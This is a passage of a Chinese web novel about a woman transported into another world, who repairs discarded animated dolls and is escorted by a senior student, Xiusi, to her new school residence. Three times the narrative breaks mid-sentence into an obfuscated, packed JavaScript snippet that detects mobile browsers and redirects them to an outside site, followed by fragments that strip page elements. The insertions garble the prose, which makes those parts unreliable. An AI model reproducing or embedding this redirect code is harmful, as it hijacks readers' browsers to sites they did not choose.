，不仅有油门刹车，还能自动行驶。不过沈鸢茉不太敢开启自动驾驶功能，她没尝试过，今天还是保守一些，选择她熟悉的老办法。 反正这些公共电动车都不需要驾照，每辆车都有紧急避险和路线规划等功能，听说训练过的小狗都能开。 找到个人资料里面的住址，打开导航，她不放心地网上搜索了一下交通规则，给自己临时补补课壮壮胆，发现跟以前世界的没有区别，便规规矩矩慢悠悠地开回去。 她只记得原身住的小区叫做流星花园，不知道具体位置。 毕竟这个世界再怎么相似，也不是她原来的国家。 随着街边建筑越来越破旧、环境脏乱差，她也就越来越觉得这名字好讽刺。 不过换个角度来想，《全职猎人》里还有流星街呢，大概都是类似的命名方式吧。 哪怕看到自己住的高层鸽子房，沈鸢茉也没什么反应。生活原本不易，她只是比较幸运，要永远懂得珍惜。 刷终端进了房间，沈鸢茉看了一眼里面，只有一个想法： 不愧是我。 无论哪个世界的她，看到报废的娃果然都是要捡回家的！ 十平米大小的单间，里面挤了不下一百个娃，大大小小各式各样，还有很多一看就是捡来的工具和材料，整整齐齐地堆放在一个破箱子里。 可以说，这样一个小小的空间，被原主利用到了极限，跟她原本世界的阁楼有的一拼。 就算是再穿到别的世界，另一个世界的她，可能也会住在这样的房间里吧。 以前还经常有网友调侃，说沈鸢茉从来不需要给自家娃买娃屋，因为她根本就是住在娃屋里面。 虽然沈鸢茉因为异能者的身份马上就要搬走，但她还是很喜欢这个虽然破旧狭小但充满爱的房间。 这个世界原本的她，也有在认真努力地生活养娃。 这一刻，她由衷地感谢另一个世界的自己。 沈鸢茉扛着人偶和零件，小心翼翼地挤进房间关上门，立刻就有一只三分的人偶举着双手跑过来，想要接过她手里的东西。 呜呜！ 沈鸢茉被萌到心肝儿直颤，甚至完全忽略了家里的人偶为什么会跑。 她连忙谢绝了小家伙的好意，“饱饱你帮我把那个垃圾桶挪一下就好，东西太重了我自己搬。” 她没有意识到，自己的声音甜得能滴出蜜，看见娃她不自觉地夹了起来。 要是有录音，她听完鸡皮疙瘩都能掉一地。 看了几天的一分工作人偶，这会儿三分看起来都好小只哦。 小家伙跌跌撞撞地跑去，使劲儿把垃圾桶拱到了墙边，然后回头立正敬了个礼。 我要死了啊！鼻血都被萌出来辣！ 原主多半因为资金匮乏，虽然能看出养护的痕迹，但小家伙的动作仍然不太伶俐。 现在的小家伙笨手笨脚的，看起来倒是也挺蠢萌，不过还是好好修复一下吧。 既然能动，就帮他恢复最大的可动性。 腾出一块地方，轻轻放下今天捡回来的大家伙，沈鸢茉环顾这个充满爱的房间，突然很想给平行世界的自己一个拥抱。 感谢另一个世界上的另一个自己。 “我会好好照顾它们的。” 沈鸢茉轻声承诺，眼角微微湿润。 12. 第十二个崽崽 正午的阳光透过小窗户照进房间，沈鸢茉摸着咕咕叫的肚子发愁。 刚出院，她就面临一个严峻的问题——午饭怎么解决？ “早知道在医院多吃一顿了……”她懊恼地翻遍十平米的房间，连个像样的锅都没找到。 原主的生活比她想象的还要拮据。 ……娃的一应用品倒是齐全，可是都不能吃呀。 正打算出门觅食，她突然灵光一闪：我现在可是有组织、有国家罩着的人！ 终端消息发出去不到五分钟，学校就回复了。 学校：不好意思这两天学校有事，下周才能接你入学。津贴和住所要在办理入学手续之后才能生效，但是由于是学校这边出的问题，所以这一周你的食宿花销会从学校这边走账。 沈鸢茉感动得差点落泪。 学校：需要注意异能者不要随便吃外食，也尽量不要单独外出，特别是在你目前居住的地方。一日三餐这边会订好送上门，你记得核对一下工作人偶的身份牌，住处如果不满意的话也可以帮你订酒店。 具体出了什么事，总之应该不关她的事，她也懒得问，对人类向来没什么好奇心。搞这么麻烦，沈鸢茉都在想是不是不应该从医院退房了。 不过既然她身体健康活蹦乱跳，医院每天要照顾那么多患者，一直占用医疗资源也不好。 她才给学校回复完消息，就有工作人偶敲门送餐了，一如既往的超高效率。 核对过身份牌，将餐车非常勉强地从房门拖进来，沈鸢茉又收到了学校的消息，再次叮嘱她非必要情况不要独自外出。 从来不给她回复表情包、那么高冷的一账号，居然婆婆妈妈地叮嘱两边，那必须得引起重视。 一边大快朵颐，一边上网搜索。 嗯，果不其然，哪个世界都少不了犯罪组织。 普通人还有被绑架进行人口买卖的，异能者的“出售价格”更是会让一些犯罪分子愿意铤而走险。 特别是沈鸢茉这种等级不高、武力值一般的异能者，就是那些人眼中的肥肉，做一票能吃三年。 嗐，人生在世总归是有风险的，只能尽可能提高安全意识。 同时，这种境遇也让沈鸢茉更想升级了。 就是不为津贴，也得为她的小命着想。 难怪有那么多协警人偶随时待命呢。也难怪她屁事没有胡乱报警，也没受到什么惩罚呢。 吃完饭收拾干净，沈鸢茉又趴在猫眼仔细观察，见楼道里没人，才打开房门，将餐车推到门外，等工作人偶上门回收。 也不知道学校是出了什么问题，还能影响到入学。 不过这也不是沈鸢茉能管得了的，她只需要服从安排。这几天在家也不错，有这么多娃要养，她哪有时间管别的。 吃饱喝足，沈鸢茉开始盘点房间里的娃口。 原主捡回来的这些，显然没有她扛回来那个工作人偶质量好，无论做工还是用料，都是肉眼可见的粗糙。 毕竟原主生活在贫民窟，能捡到的也是这里人们淘汰掉的废旧人偶。而贫民窟的人们，哪里买得起全新人偶呢？捡来的人偶本身也是别人捡来使用之后扔掉的。 人偶、工具，这里能捡到的，多半都是早就被主流娃圈淘汰掉的。 不过娃嘛，再老再旧，只要用心，还是能改出样子的。 原主捡来的娃，虽然质量一般，但却各有特色，不是工作人偶那样的流水线出品。沈鸢茉推测，可能这些就是家用型，可以帮忙拖地的小型人偶吧。 比如那只举着手迎接她回家、还要帮她搬东西的三分。 她招了下手，小家伙立马跑到她身边，仰头看着她。 虽然这只三分衣服老旧、脖子有点歪、妆面也脱落了一部分，但原主显然很爱惜，衣服洗得干干净净的，脖子妆面也有粗糙的修补痕迹。沈鸢茉的心再次被狠狠击中—— 好可爱啊！ 她单手抓住娃的腰，娃两只手手就乖巧地趴着她的手指。 沈鸢茉看了下衣服上缝线歪歪扭扭的一个小布贴，上面写着的应该就是娃的名字。 “饺饺？” 三分开心地挥舞着双手，两条腿在空中晃了晃。 “原来你的名字叫饺饺，我记住啦。”沈鸢茉给饺饺抻了抻衣角，把他放回地上，“等明天，阿妈给你换个妆好不好？” 饺饺立刻开心地点了点头。 “那好，今天先认识一下我们这大家族都有谁。”沈鸢茉小心地翻看搬动，仔细检查每个娃的现状。 目前家里能动的只有饺饺，状态最好的也是他。具体什么原因沈鸢茉也没多想。 别的娃或多或少都有明显的修补痕迹。虽然原主尽力修复保存了，但客观条件不允许，能做成这个样子已经不容易了。 把家里的娃都检查过一遍，沈鸢茉心里大致有了数，晚上睡觉的时候，躺在地板中央的破旧床垫上，她还在脑子里列待办事项。 也多亏这边的材料都安全无毒，有人送饭，她有这么多娃，在房间几个月不出去都行。她这个房间别说阳台了，连窗户都是小小的单扇，够呛能探头出去。 要真得每天在这样的房间喷消光，先不提中毒了，呛都能给她呛死，通风条件太差了。 在鸽子房住了一周，期间学校那边还联系过几次，问她近况，有没有什么需要，还挺关心她的，让她安心不少。 一周的时间转瞬即逝，沈鸢茉足不出户，把所有精力都花在了维护人偶上。 前娘，也就是原主留下的娃们，都已经被她摸清状况小心地打包起来，等搬完家有空了再慢慢照料。 目前她只给饺饺换了妆，别的都暂时没动。 假发小衣服需要新的配件，筋条也一样，她上次只订购了一分工作人偶用的型号，马上要搬家，而且囊中羞涩，她强行抑制住自己改造的欲望。 剩下的时间就用来研究和改造她捡回来的工作人偶。 需要的筋条是现成的，可能用到的配件甚至还有颗备用头，她当时都一并打包回来，东西齐全，她随手就能改。 说实话，第一次画这么大一颗头，她最初还有点不好下手。 小点尺寸的需要用到极细拉线笔，才能画出细节。大尺寸的娃头用不到那么细，但可供发挥的地方大了，也就需要更多细节去填充。 对于色彩的铺陈、明暗的对比、线条的粗细、毛流的走向，都要慎重考量，以得到理想中的整体效果。 而且工作人偶都是带一层仿真皮的，老旧的人偶仿真皮也跟人类上年纪长皱纹一样，说不好哪里会卡粉，或者着色不均，或者晕染不开。 沈鸢茉抱着那颗配件头，练习了好几天，才逐渐适应了仿真皮的触感，也找到点上色的窍门。 这才敢上手，给工作人偶和饺饺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968982|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都换了妆。 她暂时没考虑把仿真皮扒了。 一个是怕手法不过关，再一个也是不清楚为什么工作人偶都要费心来这么一层，等打听清楚再说。 给工作人偶换了妆，剩下的都还简单。换筋重拉基本没有难度，她明显感觉这两天力气变得更大了，头天摆弄筋条的时候还有点吃力，隔天真正上手的时候一下就给娃穿进去拉好了。 衣服她也不需要打版，一分工作人偶就采用的标准男性体型，数据很好找，布料她就用房间里找到的旧床单，反正只是样衣，缝纫机和锁边机她直接在终端找到公共资源，免费免押金租了三天。 警棍、手铐和那一串龙珠……镇爆珠她还没时间搞，细节嘛，以后慢慢完善，大体的样子已经出来了。 也许是因为亲妈滤镜，她看着改完的工作人偶：穿着跟协警人偶类似的服饰，抓出类似的发型，怎么看都觉得更加帅气。 也可能因为妆容的改变吧。 协警人偶的妆面那是流水线印刷作业，跟她这种亲手定制的能一样吗！ 而且她还专门仿了妆。 毕竟是第一次化这么大颗头，沈鸢茉也心里没底，就记得医生那天带的那个工作人偶怪好看的，冷酷帅气特别合她眼缘，看一眼就印象深刻。有现成的模版，她也就按照记忆中的样子，给自家工作人偶也化了一个。 都是工作人偶，借鉴一下应该问题不大。 她给捡来的工作人偶取名沃克斯，也是纪念他之前的编号：X7800WOX，后三位她就直接拿来当名字了，平时就喊小沃。 只是她还没来得及研究储能核心，喊了小沃，小沃也不会答应。 上午十点钟，房门被敲响的时候，沈鸢茉东西全部打包妥当，只剩饺饺和小沃，等下搬家一手扛着一手抓着就能走。 敲门声响起，她凑到猫眼往外看，同时终端也来了消息。 学校：在你门口了。 她打开门，惊喜地发现，来接她的居然是那个超帅的工作人偶。 这么帅，一定是最新的型号吧。 她往里走，等人偶跟进来，正好跟她墙边刚改完的小沃对上眼神。 沈鸢茉从旁边一看，俩人偶除了衣着，打眼看过去那真是一模一样。 果然，不愧是我！ 对于第一次给大尺寸娃头上妆，能取得这样的效果，沈鸢茉已经很满意了。再多加练习，以后肯定还会进步，到时就能给小沃换上她的脑洞妆，岂不美哉。 “你好，”接她的工作人偶伸出一只手，语气有些僵硬，“我是修斯。” 哇哦，不愧是新款，还有自己的名字呢，沈鸢茉感叹着。只可惜语音语调还有待改进，这么僵硬一听就不像真人。 但也很好听了。 而且莫名觉得有些耳熟，好像在哪里听到过。 “你好你好，”她见人偶伸了手，便握了上去，“我是沈鸢茉，辛苦你……呃……” 握上去后，沈鸢茉突然察觉到，哪里不太对劲。 这手，宽大有力，摸起来居然还是温热的…… 她狐疑地看了他一眼，一手握着他的手，另一只手已然撩起他的袖子，去查看他手腕的接缝处了。 这触感不仅是热的，也不是她摸了几天的仿真皮啊。 一个可怕的猜测从心底浮现—— 这这这、他该不会是个活的吧！ 13. 第十三个崽崽 沈鸢茉一手攥着修斯的手腕，另一手急切地撩开他的衣袖，指尖在他腕间反复摩挲探查，却始终找不到任何接缝痕迹。 “你……您……”她声音发颤，大脑过载般挤出断断续续的字句，“请问您……也会正常排泄吗……” 修斯绷紧唇角，目光灼灼地注视着她，最终粉碎了她最后一丝侥幸：“承蒙关心，我的消化系统运转良好，排泄功能健康规律。” 沈鸢茉眼神涣散地望向别处。修斯终究没忍住，唇角勾起两分弧度，恶趣味地反问：“那么您呢？排泄功能可还正常？” “托您的福……一切正常……”她梦呓般喃喃自语，“我们都会正常排泄...真是太好了......”话音未落便呜咽一声，捂着脸蹲成团。 修斯条件反射地拽住她的手腕将人提起。不料两秒不到，她又软绵绵地缩回地面。 饺饺闻声跑来，踮脚摸了摸沈鸢茉的发顶，又扶着她胳膊歪头打量，圆溜溜的眼睛里盛满担忧。 修斯打量着这个迷你人偶。褪色的服装、陈旧的假发与玻璃眼珠形成鲜明对比，唯独新绘的面妆线条流畅，色彩鲜活，为整张脸注入了灵动神采。 他的目光又移向墙边那个与自己如出一辙的工作人偶。初进门时，那逼真的程度险些让他误以为是一面落地镜。 虽说是个业余人偶技师，但这个水平，考虑到她的出身和过往经历，也的确让他有些刮目相看了。 不过还是很菜的萌新，还有点蠢。 手还挺软乎。 脾气那么炸，嘴巴有点毒，但是犯错了会好好道歉，手还这么软。 有点可爱。 终端提示音打断了思绪。修斯保持着握姿处理消息。 进入工作模式的他也就忘记松手。 待他安排完学生会事务，才意识到自己不知什么时候牵了条狗？ ……不对。 他什么时候牵了这个菜鸟的手？ 脾气那么硬，手却软乎乎。 见沈鸢茉还蜷缩在地，他再次将人提起。这次她总算站稳，还顺手揉了揉饺饺的脑袋。 “自闭环节结束了？”修斯挑眉。 “……尚未。”她生无可恋地抬眼。 “需要继续蹲着？”他语带笑意。 “……不必，腿麻。”她老实交代。 修斯别过脸轻笑出声。 笑吧笑吧，反正颜面早已扫地。 果然不该图省事接仿妆单子的。看吧，现世报来得快，灵魂都要尴尬得蒸发殆尽了。 “所以你是把我当成人偶，还喜欢到忍不住复刻了一个？”修斯显然不打算放过这个逗弄新人的机会。 沈鸢茉窒息般承认：“您上次来病房时一言不发，又帅得不像真人……” 即便是后天觉醒者，分不清真人与人偶也实在蹊跷。修斯心下疑惑，却未作深究。 只当她脑子不清楚，而且久居贫民窟，估计没什么见识吧。 “其实有个简单的辨别方式，”他正色道，“也是基本的礼节，就是见面之后握个手。一般人偶不会回应握手，就算跟人偶握了手，你也能立刻察觉到不是真人。” “那为什么工作人偶要贴仿真皮啊，还做那么真实……”沈鸢茉小声BB。 “仿真皮可以有效隔绝掉大部分异能的波动，”修斯解释，“避免与异能者产生共鸣。” “共鸣会怎样？” “举个简单的例子，如果异能护理中心出现了一位高级异能者，跟里面的两千五百个协警人偶发生共鸣，控制它们做一些事情的话……” “噫——”沈鸢茉倒抽冷气，“所以战斗人偶不贴皮是为了方便共鸣作战？” “正是。”修斯点到为止。更深奥的理论，等她入学之后自然会学到，科普不急于一时。 毕竟眼前这个又菜又蠢还头脑混乱的新人刚经历社会性死亡，就不要再给她增加额外的负担了。 修斯自认体贴地想到。 沈鸢茉又点了点头，然后才发现自己还一直抓着人家的手呢，就跟不愿承认人家是活人似的。 她赶紧把手抽出来，掩饰性地小声嘟囔了一句，“您太好看了我是真没认出来，当成人偶了不好意思哈。” “没关系，认不出来很正常。”修斯善解人意地说道。毕竟这菜鸟新人傻乎乎的，做点傻事也可以理解。 “哦，那就是说您之前也经常被错认是吧？” 沈鸢茉的眼中又带上点希冀，她刚要松口气，只听修斯回答，“没有过，这还是第一次，我的荣幸。” 沈鸢茉看着眼前高大的男人，他眼中的揶揄是无论如何也不会看错的。 但也不怪人家，她都照着人家的脸改娃了，还给做了发型，还特么做了身制服！ 越想越尴尬，她以后怎么面对小沃，让小沃怎么做偶！ 修斯带着兴味看着沈鸢茉。小菜鸟心里想什么都写在脸上，要不是脚麻了，这会儿估计又蹲地上自闭了。 他也不好太过，便将这事轻描淡写地揭过，“改造技术不错，期待你未来更多、更有特色的成品。” 沈鸢茉总感觉他话里有话，但修斯已经叫来工作人偶帮忙搬行李了，一脸严肃认真，动作干练，她又觉得自己这会儿多半因为神经紧张，想得太多。 “这里的房间需要帮你保留吗？”修斯问道。 打包好的娃全部都被搬走，房间变得空旷。沈鸢茉四处看了下，检查有没有什么遗漏，然后答道，“不用了，留给有需要的人吧，流星花园居无定所的人太多了。” 她就算是想留个念想，也没必要占着一处不会使用的房间。对于这里的人们来说，本来住房资源就紧张，她把念想留心里就行了。 前娘的娃她会全部接走，只留下了原主那个装满各种工具材料的破旧纸箱，也许会帮助到下一个有需要的娃娘。 而她，将会带着这份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968983|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天降的幸运，把每一只到她手上的娃，改成最好的样子。 所有的行李被工作人偶们轻轻堆放在一辆货车的车厢，填充好防震材料并固定，随后修斯跃上驾驶座，沈鸢茉在他的示意下爬上副驾。 “安全带。” “哦哦。” 货车启动，沈鸢茉透过车窗，还能看到几个邻居看向这边。 当初刚穿越到这里的时候，应该是多亏这些邻居们帮她叫了救护车，才捡回一条小命。 谁都不容易，但世界上还是好人多。她铭记在心。 只是这么看过去，她没印象，也不认识，也不知道原主是怎么跟他们相处的，她也就没有胡乱挥手道别。 她今天已经够傻的啦，傻气也是会透支哒。 社死也是死，那她死得透透的，灵魂都快消散辽。 不过丢人归丢人，也只在一个人面前丢人。反正这位小哥充其量也就类似大学开学帮新生指路扛行李的学长，之后大概率不会经常见到，他又忙，果断时间就会把这种不值一提的小事忘掉吧。 她也不过一个F级小辣鸡，老老实实上学，安安静静养娃，本身也不会跟会拉屎的人类产生太多交集。 不过人家好歹帮了忙，就这么跟个大爷似的坐着人家的车，屁都不放一个，好像也不太礼貌。 向来不太喜欢跟人类在三次元接触的沈鸢茉打起精神，心里暗暗给自己鼓劲，然后没话找话，“对了，您看起来好厉害啊，请问您异能是多少级啊？”脱口问出之后她又觉得不妥，补充道，“这是可以问的吗？” “2级。”修斯回答，语气也没有什么不耐烦，“异能者的等级和能力都是公开的，没什么不可以问的。” “哦，那您是什么属性的异能啊？” “我比你只大三岁。” 啥，大三岁是什么异能……？ 暂时性地大脑断路之后，沈鸢茉反应过来，一边纠结一边试探，“哦，修……嗯，小……嘶……”她试图从修斯的脸上蒙答案，“修斯……哥？” “嗯。” 好像蒙对了。 沈鸢茉松了口气，还有点得意。大她三岁嘛，虽然是同龄人，直接喊名字好像也不合适，加个“哥”的话，正确率还是挺高的。 “欸？2级？”她又突然反应过来，惊讶地扭头。 “对。”修斯侧头看了她一眼，似是不明白她有什么好惊讶的。 “2级是什么级啊？” 修斯定定地再次看了她一眼，目光带着怜悯和同情，开口解释，“异能等级分为字母级和数字级，初觉醒期结束，稳定之后会进行评测，一般的新人都是在F级到C级之间，也有资质好一些的会评为B级甚至A级。 “而A级往上，便是数字级，9到1代表能力递进。其中9到7级是低级异能者，6到4是中级，3到1便是高级异能者。” “靠……”沈鸢茉睁大了双眼，又缓缓地闭上。 14. 第十四个崽崽 修斯眼中噙着笑意看向沈鸢茉，“怎么又自闭了？” “我真傻，真的……”沈鸢茉双目失焦，喃喃道，“我以为A级上面顶多有个S级，没想到还有整整九个数字级……” 都怪她穿越前小说看得太少！ 现在才发现知识储备严重不足，也不知道临时抱佛脚还来不来得及。 “通常来说，9级才算真正独当一面的异能者，字母级都是菜……新手。”修斯轻描淡写地解释。 你刚差点说出“菜鸟”“菜鸡”还是“菜逼”对吧！别以为我没听清，用矿物粉都猜得到！你很高贵吗就看不起F级！ 沈鸢茉内心无能咆哮。 然后又萎了。 好吧……人家确实高贵qwq。 她也不过习惯性内心吐槽两句，真要说感觉有被冒犯到而生气，倒也没有。 只是原本以为A级就是很高的等级了，自己的F级差距似乎也没那么大。 现在突然多出九个等级，简直就像刚抬起脚准备跨过小溪，却发现面前是一道鸿沟——她被自己的弱小程度震惊到了。 但她又能怎样呢，也不能怎样，也没什么好抱怨的。 哪怕修斯故意补刀，那也是大实话。 而修斯作为高级异能者，还抽出宝贵的时间，专程跑来帮她搬家，除了好像有点坏心眼，态度都算平易近人，哪怕当面被说是小菜逼，她也没什么好抱怨的。 因为是事实嘛QAQ。 “一般入学之后，只要资质别太差，努努力，最终都能提高两到四个等级的。”修斯显然猜到沈鸢茉的想法，不太熟练地安慰道，“不过左右都是字母级范围内，差别不大。” 好了好了知道了，我菜得明明白白就别再重复扎心了！ 沈鸢茉往后座一靠，像条咸鱼似的闭上眼睛，“好的吧，我会意思意思，凑合着努努力的。” 修斯无声地勾了勾嘴角。菜鸡多了去，但这么有趣的他还是第一次见，抽空好好带一带也不是不可以。 沈鸢茉咸鱼瘫了不到两秒，又想起什么，直起身子问道，“体测时候告诉我怎么做水测的那个声音是不是你？” “嗯。”修斯驾驶着货车，开进一个小院子，然后找了个空位停了车。 沈鸢茉跟着他的动作，解开了安全带，“难怪，听声音那么耳熟。” 修斯揶揄地看着她，“不仅特别喜欢我的脸，还特别特别迷恋我的声音是吧？” 沈鸢茉噎了一下，想刨个坑把自己埋进去，在修斯的灼灼目光中，只能含糊地应道，“唔……” 怎会有如此自恋又厚颜无耻之人。但她确实喜欢，只能稀里糊涂认了。 毕竟她还有只COS修斯的娃呢。 “这是你今后的住处。”修斯指向院中的白色三层小楼，“先卸行李，然后带你去办入学手续，登记房主信息和津贴账户。” “哇！”沈鸢茉立马被转移了注意力，“有几个室友啊？” 修斯又用那种略带怜悯的眼光看她了，“这里是你的住处啊。” “啊？”沈鸢茉看了看房子，看了看修斯，又看了看房子。 “异能者与异能者之间，不同属性可能会互相排斥干扰甚至发生冲突，所以除了特殊情况，都要住单间的。”修斯已经逐渐习惯给小菜鸟洗白了。 不同属性会起摩擦她可以理解，但是！ 单间？？ 三层小别墅，你管这叫单间？ 沈鸢茉深吸一口气。 她很想问问修斯管她之前住的单间叫什么，狗窝吗？ 看他一脸理所当然的表情，她突然又不想知道了。 “F级住这样的‘单间’嗷……”沈鸢茉怕是哪里搞错，比如修斯迷路搞错房号之类的，要是搬进去再被撵出来，那得多尴尬，“我配吗……” 修斯突然就不说话了，站在那里，直直地盯着她。 “怎、怎么了啊？”沈鸢茉停下脚步。果然是弄错了吗？她就说怎么可能…… “你配。”修斯突然伸出大手，按在沈鸢茉头上用力揉了两下。 力道之重，险些让她原地入土，“如果没人教过你，那你今天就要记住我的话，要牢牢地记一辈子，记不住就每天起床和睡前都在镜子前对自己重复一遍——你值得最好的。” 沈鸢茉快要被他的目光吞噬，只觉得喉咙发紧，眼眶一热，头皮发麻。 确实没有人教过她。 无论遇到什么困难，她习惯自己解决；无论遇到怎样的不公，她习惯默默忍耐。从来没有人对她说过这样的话，她一直以为自己生下来就是个错误。 她穿越过来，还活着，还可以继续做自己喜欢的事情，就觉得自己已经足够幸运。哪怕定级是废柴F级，她也无所谓，因为她从来不敢奢求太多。 可是……原来她也配，是这样的吗。 修斯看小菜鸟一副要哭的样子，突然间，心里抽痛了一瞬。 他从来不知道，普通人的生活会这么艰难。 会住在脏乱差还拥挤的老旧鸽子房，全屋面积还没他的衣帽间大；会因为捡到破烂人偶而开心，会因为吃住不愁而喜悦，会因为分到一个小别墅就快要哭出来。 这种分给F等级、位置最偏僻、最小的房子，她居然还要问一句自己配不配。 区区一个小别墅，一个分配的住所而已，为什么会有人小心翼翼地反问询问，觉得自己不配？ 看她一脸没见过世面的样子，修斯不觉得好笑，只觉得从未有过的……心酸，或者说，心疼。 这一刻他才真正有些理解，为什么副校长他们每每提及国家发展、国民生活水平提高这一类话题，会露出那种表情。 作为一名异能者，他一直那么骄傲。 他太骄傲、太傲慢了。他的眼睛永远往上看，所以不知道自己有多幸运，更不知自己肩负着怎样的责任。 “先把行李放院子吧，”修斯开口打破沉默，嗓音有些沙哑，“现在去办理入学手续，还能赶得上中午去食堂吃饭。” 沈鸢茉也把情绪消化得七七八八，“放院子里没事吗？” “放心，在学校不会有人乱翻乱动别人的东西……” “我是怕被工作人偶当成垃圾收走。”没有人比她本人更清楚自己的定位了！ 毕竟眼下，她的行李确实寒酸。 修斯看了眼沈鸢茉，又看了眼她的行李，迷之沉默片刻，“……放院子里没事，需要收的垃圾要放在对面的废弃用品指定回收点，等下入学手册上可以看到垃圾分类的标准。” 沈鸢茉顺着修斯手指的方向看过去，点了点头，放下心来。 这点家当可是原主不知捡了多久才攒下的，她检查完都有好几个脑洞了，打算一个个实现呢，现在需要确保安全，以后改造完就不用担心会被当作垃圾了。 于是修斯又叫来附近的工作人偶帮忙卸下行李，然后让它们把租来的货车也一并开走归还。 “这个小不点你想带着是吗？”修斯抬了抬下巴，示意沈鸢茉一直抱着的饺饺。 “嗯，饺饺还能动弹，怕他自己跑丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968984|193422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”而且作为一名狂热娃娘，手头没娃总感觉缺了点啥，“别的都没电……没能量了我还不会充能，就先放着吧。” 前几天她把几个娃拆开研究了下，看到了内部结构。约莫着饺饺能动，肯定是能量还有剩。 原主捡来的自然是清一色的工作人偶，饺饺的职责，估计就是陪伴主人吧。 嗯，虽然她是F级，也许驱使不了战斗人偶做太多事情，但工作人偶也很棒呀。 不知道饺饺设定了什么程序，能帮她做好多事情，基本她想到的没想到的，饺饺都想去做。 只是受体型影响，大多时候以卖萌为主。 沈鸢茉已经非常满足了。 这么可爱，当然要随身携带！ 大多行李都是打包好的，沈鸢茉放下饺饺，特意调整了一下小沃的姿势。 虽然新拉了筋，自立很稳，但万一有猫猫狗狗什么的撞一下，摔倒也怪心疼的。 于是沈鸢茉手腿并用，拎起小沃把他的腿根往前掰了90°，再用膝盖顶了下他两个膝窝，让他的小腿向下90°，整只娃坐在一个高度合适的打包盒上。 觉得坐姿太僵硬，沈鸢茉又调整了一下他的上身角度、双腿开合的幅度，又掰了掰他的脖子和手臂，直到调整出一个霸气的坐姿。 绕圈审视一翻，她又习惯性地打开终端跪在地上找准光线拍了两张照片，这才满意地起身，拍了拍膝盖上沾到的尘土。 修斯被她一通行云流水的操作惊到，嘴唇动了动，却什么都没说出来。 ……莫名觉得有点厉害是怎么回事。 “好啦，辛苦修斯哥，麻烦你带我去注册吧。”沈鸢茉突然抬头一笑，“中午请你吃饭……嗯……呃，请你……” 救命我在说什么，异能者食宿全免的啊。沈鸢茉大脑疯狂运转。 啥啥都不要钱，她还能请什么呢？ “行，那就陪我吃个饭吧。”修斯看到她的笑脸，想着看上去好傻，但莫名让人看了心情变好。 修斯刷了辆路边的四人电瓶车，载着沈鸢茉去了行政楼，路上人越来越多，很多都拖着行李箱。 沈鸢茉好奇地问道：“前几天是放假了吗？” 三月份，能有什么节假日。她这周睡前没事就会上上网，刷刷终端，发现这世界很多跟自己原本世界重合的地方，包括节假日。 是她遗漏了什么吗？ “没有，上周没过去接你，因为有个学生用力过猛，连人带他的人偶一起炸了，学校要处理异能残留，就把学生都遣散回家了。”修斯一脸习以为常地解释道。 “呃……”沈鸢茉眨巴眨巴眼。 修斯看着她，眉头微皱，不知道她又哪里不明白了。 她脑子里都有些什么啊，该不会是空的吧。 “那……”沈鸢茉好不容易组织好语言，“平常在学校里，需要穿防护服吗？” 哦，原来是害怕被别人炸了吗？ “不用，觉醒之后身体脱胎换骨，本身强度会比普通人高五倍以上。”修斯轻描淡写地又补充道，“就算是F级，也可以通过运转异能，抵挡住致命伤害，遣散大家只是担心异能残留会引发连锁反应。” 沈鸢茉又眨巴眨巴眼。 修斯想起她令人窒息的水测，继续补充道，“新人入学会上一个月的基础理论与实践，到时你好好学习一下怎么运转异能。” “嗯嗯好哒。”无视修斯一言难尽的眼神，沈鸢茉满心期待地想： 快点教会她怎么运转异能吧，她不想继续当麻瓜啦！ 15. 第十五个崽崽 行政楼里，修斯在前方带路，沈鸢茉抱着饺饺紧随其后。 大多数办公室都敞着门，走廊上人来人往，步履匆匆。 看着返校的学生们，沈鸢茉暗自思忖：今天明明不上课，却这么忙碌，看来学校确实人手紧张。 她望着修斯挺拔的背影。 这位学长百忙之中还抽空帮她搬家，这份人情该怎么还？送个妆面当谢礼不知道行不行…… 穿过长长的走廊，修斯在三楼尽头停下，轻叩门框。 “修斯。”办公桌后正在批阅文件的中年男子抬起头，西装笔挺，眼尾泛起笑纹，“这位就是沈鸢茉同学吧？” 目光扫过她怀里的饺饺，微微一愣，“这是你改的？妆面很精致。” 沈鸢茉对于个人信息透明化麻木，她点了点头，乖巧鞠躬，“老师好，谢谢夸奖。” 夸她孩子好看，那这位老师一定是个好人。 “好好好！”副校长起身示意他们落座，“身体恢复得怎么样？” “很好很好。”沈鸢茉机械应答，目光悄悄搜寻着桌上的名牌。 “这是张校长。”修斯介绍道。 “张……艾玛，啊不是！张、张校长好！”沈鸢茉差点咬到舌头。 瞄见名牌上“张飞”二字，她暗自嘀咕：这温文尔雅的气质哪像张飞了？ 副校长脸上闪过一丝疑惑——张艾玛是谁？ 